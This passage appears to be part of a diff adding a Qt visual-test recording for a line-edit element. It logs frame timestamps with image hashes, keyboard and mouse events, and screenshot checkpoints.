+ Frame {
+ msec: 4784
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4800
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 69; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4816
+ image: "usingLineEdit.5.png"
+ }
+ Frame {
+ msec: 4832
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4848
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4864
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4880
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4896
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4912
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4928
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4944
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4960
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4976
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 4992
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5008
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5024
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5040
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5056
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5072
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5088
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5104
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5120
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5136
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5152
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5168
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5184
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5200
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5216
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5232
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5248
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5264
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5280
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5296
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5312
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5328
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5344
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Frame {
+ msec: 5360
+ hash: "9103b19d12565b6d28380f48acfce3c3"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5376
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5392
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5408
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5424
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5440
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5456
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5472
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5488
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5504
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5520
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5536
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5552
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5568
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5584
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5600
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Frame {
+ msec: 5616
+ hash: "3c6258003fba9b4a61bde3a5eb2394d5"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5632
+ hash: "f2c1bfd1a4ffb5bc0a5a354707a8ecf8"
+ }
+ Frame {
+ msec: 5648
+ hash: "f2c1bfd1a4ffb5bc0a5a354707a8ecf8"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5664
+ hash: "9f4fc35d1b6f5984972da9f819a4031e"
+ }
+ Frame {
+ msec: 5680
+ hash: "9f4fc35d1b6f5984972da9f819a4031e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5696
+ hash: "68e84d0e6c0febe00cbc8ff13e7efae1"
+ }
+ Frame {
+ msec: 5712
+ hash: "68e84d0e6c0febe00cbc8ff13e7efae1"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5728
+ hash: "f0c61e706be86d31f124d6405c14c5b4"
+ }
+ Frame {
+ msec: 5744
+ hash: "f0c61e706be86d31f124d6405c14c5b4"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5760
+ hash: "dbca3c9292e2a6efac887a33b735607f"
+ }
+ Frame {
+ msec: 5776
+ image: "usingLineEdit.6.png"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5792
+ hash: "6cb5d4a9c79ac3dc6522c5a1022b2e6e"
+ }
+ Frame {
+ msec: 5808
+ hash: "6cb5d4a9c79ac3dc6522c5a1022b2e6e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5824
+ hash: "71d67363467f3053393382b887f43401"
+ }
+ Frame {
+ msec: 5840
+ hash: "71d67363467f3053393382b887f43401"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5856
+ hash: "71d67363467f3053393382b887f43401"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5872
+ hash: "db9175c9b81cb4b43f6d4d80549a5ae1"
+ }
+ Frame {
+ msec: 5888
+ hash: "db9175c9b81cb4b43f6d4d80549a5ae1"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5904
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 5920
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 5936
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 5952
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 5968
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 5984
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6000
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6016
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6032
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6048
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6064
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6080
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6096
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6112
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6128
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Frame {
+ msec: 6144
+ hash: "535d1bbe1d2147d70bec0b7d932eff41"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6160
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6176
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6192
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6208
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6224
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6240
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6256
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6272
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6288
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6304
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6320
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6336
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6352
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6368
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6384
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Frame {
+ msec: 6400
+ hash: "63132fa980a9fdcce415af1503f34ca6"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6416
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6432
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6448
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6464
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6480
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6496
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6512
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6528
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6544
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6560
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6576
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6592
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6608
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6624
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6640
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6656
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6672
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6688
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6704
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6720
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6736
+ image: "usingLineEdit.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6768
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6784
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6800
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6816
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6832
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6848
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6864
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6880
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6896
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6912
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6928
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Frame {
+ msec: 6944
+ hash: "cf2ccad24e42d8764c1395e076f3a0df"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 6960
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 6976
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 6992
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 7008
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7024
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 7040
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 7056
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 7072
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Frame {
+ msec: 7088
+ hash: "43217b3192aea23b17e2a2e7d820def8"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7104
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7120
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7136
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7152
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7168
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7184
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7200
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7216
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7232
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7248
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Frame {
+ msec: 7264
+ hash: "02dceb1b71d82bfbea5fcfb630fef22d"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7280
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7296
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7312
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7328
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7344
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7360
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7376
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7392
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7408
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7424
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7440
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7456
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7472
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7488
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7504
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7520
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 7536
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7552
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7568
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7584
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7600
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7616
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7632
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7648
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7664
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7680
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7696
+ image: "usingLineEdit.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7728
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7744
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7760
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7776
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7792
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7808
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7824
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7840
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7856
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7872
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7888
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7904
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7920
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7936
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7952
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7968
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 7984
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8000
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8016
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8032
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8048
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8064
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8080
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8096
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8112
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8128
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8144
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8160
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8176
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8192
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8208
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8224
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8240
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8256
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8272
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8288
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8304
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8320
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8336
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8352
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8368
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8384
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8400
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8416
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8432
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8448
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8464
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8480
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Frame {
+ msec: 8496
+ hash: "cff8ff96fe5f67faac7a04805d2a945b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 61; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8512
+ hash: "b901d339089fccecd217f562e3b0253a"
+ }
+ Frame {
+ msec: 8528
+ hash: "b901d339089fccecd217f562e3b0253a"
+ }
+ Frame {
+ msec: 8544
+ hash: "b901d339089fccecd217f562e3b0253a"
+ }
+ Frame {
+ msec: 8560
+ hash: "b901d339089fccecd217f562e3b0253a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 60; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8576
+ hash: "b901d339089fccecd217f562e3b0253a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 46; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8592
+ hash: "8173ad74ad73a8061af3edb8322b3e28"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 41; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8608
+ hash: "8173ad74ad73a8061af3edb8322b3e28"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 32; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8624
+ hash: "a470057b75a1aade3945dbb61526ae50"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8640
+ hash: "a470057b75a1aade3945dbb61526ae50"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 8656
+ image: "usingLineEdit.9.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
